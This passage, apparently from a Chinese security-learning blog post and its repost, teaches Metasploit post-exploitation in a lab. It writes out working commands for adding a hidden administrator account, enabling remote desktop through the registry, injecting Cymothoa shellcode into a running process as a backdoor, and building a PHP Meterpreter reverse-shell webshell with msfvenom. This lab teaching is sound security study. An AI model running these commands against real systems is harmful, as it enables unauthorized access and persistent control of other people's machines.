net user abcd 1234 /add 新建一個用戶名為abcd,密碼為1234的帳戶,默認為user組成員 net user abcd /del 將用戶名為abcd的用戶刪除 net user abcd /active:no 將用戶名為abcd的用戶禁用 net user abcd /active:yes 激活用戶名為abcd的用戶 net user abcd 查看用戶名為abcd的用戶的情況 net localgroup administrators abcd /add 將abcd賬戶給予管理員權限

此時被攻擊的主機新增“hacker”管理員如下圖所示:

(2) 開啟遠程連接3389端口并進行遠程操作。

# 開啟遠程連接 echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 查看網絡端口 netstat -an # 遠程連接 rdesktop 192.168.44.135

作者掃描發現3389端口已經開啟,也可以直接利用。

(3) 輸入命令連接遠程IP地址,并輸入我們創建好的hacker用戶名及密碼。

  • rdesktop 192.168.44.135

輸入創建的用戶名hacker和密碼123456回車,彈出提示框點擊OK,稍等就會成功登錄XP系統。

這是本文的深度提權知識。

(4) 最后,我們還需要將新建的用戶名hacker刪除。

寫到這里,整個實驗就講解完畢。


五.后滲透攻擊之后門

在完成提升權限后,我們就應該建立后門(backdoor),以維持對目標主機的控制權。這樣,即使我們所利用的漏洞被補丁程序修復,還可以通過后門繼續控制目標系統。

簡單的說,后門就是一個留在目標主機上的軟件,它可以使攻擊者隨時連接到目標主機。大多數情況下,后門是一個運行在目標主機上的隱藏進程,它運行一個普通的、未經授權的用戶控制計算機。

1.操作系統Cymothoa后門

后門泛指繞過目標系統安全控制體系的正規yoghurt認證過程,從而維持我們對目標系統的控制權,以及隱匿控制行為的方法。Meterpreter提供了Persistence等后滲透攻擊模塊,通過再目標主機上安裝自動、永久服務等方式,來長久地控制目標機。這里主要介紹Cymothoa后門,還有Persistence后門,APT樣本中也有各種各樣的后門。

Cymothoa是一個后門工具,可以將ShellCode注入到現有進程(插進程)。借助這種注入手段,它能夠把ShellCode偽裝成常規程序。只要進程存在,后門就會有效,所以一般選擇一些自其服務的進程來注入,例如web服務mysql、apache 等。其后門所擁有的權限和注入的進程權限是相同的。當拿下目標shell后就可以使用cymothoa添加后門。

Cymothoa所注入的后門程序應當能夠與被注入的程序(進程)共存,以避免被管理和維護人員懷疑。將ShellCode注入其他進程,還有另一個優勢:即使目標系統的安全防護工具能夠監視可執行程序的完整性,只要它不檢測內存,就發現不了(插進程)后門程序的進程。

(1) 查看程序的PID。

  • Linux:ps -aux
  • Windows:tasklist

(2) 查看ShellCode編號。
Cymothoa有很多的后門 shellcode,這些shellcode可以通過-S參數來查看。

  • cymothoa -S

(3) 生成后門程序。
成功滲透目標主機后,就可以把Cymothoa的可執行程序復制到目標主機上,生成后門程序。如選擇PID為903的進程為宿主進程,選用第一類ShellCode,指定Payload服務端口號為4444。

  • cymothoa -p 903 -s 1 -y 4444

遺憾這里失敗,后續文章會更深入的講解后門實戰知識。

在實戰中你需要對目標機上傳編譯好的Cymothoa進行后門注入,成功則如下圖所示。

(4) NC連接后門程序。
注入成功后,我們通過攻擊機器 kali 來使用 nc 連接,因為我第一次使用的 nvv 參數,會顯示所有的詳細信息,所以內容比較咋。可以看到 ip 已經是目標機的 ip,身份是 root。

  • nc -nvv IP地址 端口號

這時把msf關閉,然后再次通過nc連接,查看ip和當前用戶,該后門成功被利用。

注意,該后門注入系統的進程,反彈的是該進程相應的權限(并不需要root),當然,因為后門是以運行中的程序為宿主,所以只要進程關閉或目標主機重啟,后門就會停止運行。


2.Web后門

Web后門泛指Webshell,其實就是一段網頁代碼,包括ASP、PHP、JSP等。由于這些代碼都運行在服務器端,攻擊者通過這段精心設計的代碼,在服務端進行一些危險的操作以后去敏感信息,或者通過滲透操作提權,從而獲得服務器的控制權。這也是攻擊者控制服務器的方法,比入侵攻擊更加隱蔽。

Web后門能給攻擊者提供非常多的功能,比如執行命令、瀏覽文件、輔助提權、執行SQL語句、反彈Shell等。Windows操作系統下比較出名的是“中國菜刀”,還有開源的工具如蟻劍、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享過一句話+工具的用法。

在Kali下用得比較多的是Weevely,其功能很強大,使用http頭進行指令傳輸,唯一的缺點是只支持PHP。其實Metasploit框架中也自帶了Web后面,配合Meterpreter使用時,功能更強大。接下來我們簡單用Meterpreter實現一個Web后門(PHP Meterpreter后門、ASP Meterpreter后門)。

在Metasploit中,有一個名為PHP Meterpreter的Payload,利用這個模塊可以創建具有Meterpreter功能的PHP Webshell。在攻擊中使用Metasploit PHP Shell的步驟如下:

  • 使用msfvenom創建一個webshell.php
  • 上傳webshell.php到目標服務器
  • 運行Metasploit multi-handler開始監聽
  • 訪問webshell.php頁面
  • 獲取反彈的Metasploit Shell

(1) 通過Metasploit的Msfvenom工具會做PHP Meterpreter。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php

參數-p用于設置Payload,參數-f用于設置輸出文件格式,生成的文件如下所示。

打開shutter.php文件如下圖所示,這是一個webshell。

(2) 將shutter.php文件上傳到目標服務器。這里是虛擬機,就直接復制到 var/www/html 目錄。

(3) 開啟msfconsole連接PHP后門。

通過MSF我們成功反彈服務器,最后利用Meterpreter進行后滲透操作。

注意,這里大家也可以嘗試蟻劍、菜刀、冰蝎等工具。也建議大家好好思考:

  • 如何有效檢測Webshell
  • 如何結合深度學習實現Webshell的自動化生成和繞WAF
  • 如何結合深度學習自動化檢測Webshell

六.總結

寫到這里,這篇文章就介紹完畢,希望您喜歡,本文主要是學習徐焱老師他們的《Web安全攻防滲透測試實戰指南》,同時結合作者之前的漏洞利用及WannaCry逆向經驗總結。文章非常長,作者也花費了很長時間,但相信只要你認真讀完并復現,肯定會有收獲,尤其是對MSF的理解。

  • 一.MSF漏洞利用
  • 二.后滲透攻擊之信息收集
    1.進程遷移
    2.系統命令
    3.文件系統命令
  • 三.后滲透攻擊之權限提升
    1.權限查詢
    2.利用WMIC實戰MS16-032本地溢出漏洞
    3.令牌竊取提權
    4.Hash攻擊提權
  • 四.后滲透攻擊之移植自定義漏洞利用模塊
    1.傳統MS08-067漏洞利用
    2.移植github的MS17-010漏洞模塊
    3.深度提權
  • 五.后滲透攻擊之后門
    1.操作系統Cymothoa后門
    2.Web后門

這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知自己很菜,得努力前行。

歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2022-01-15 夜于武漢 http://blog.csdn.net/eastmount/ )


參考文章如下,感謝這些大佬。

  • [1] https://www.rapid7.com/products/metasploit/download/
  • [2] 《Web安全攻防滲透測試實戰指南》徐焱、李文軒、王東亞老師
  • [3] https://blog.csdn.net/Eastmount
  • [4] https://www.cnblogs.com/coderge/p/13746810.html
  • [5] https://blog.csdn.net/fageweiketang/article/details/86580213
  • [6] https://blog.csdn.net/fageweiketang/article/details/86665518
  • [7] https://www.cnblogs.com/-qing-/p/10519363.html
  • [8] https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

總結

以上是生活随笔為你收集整理的[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。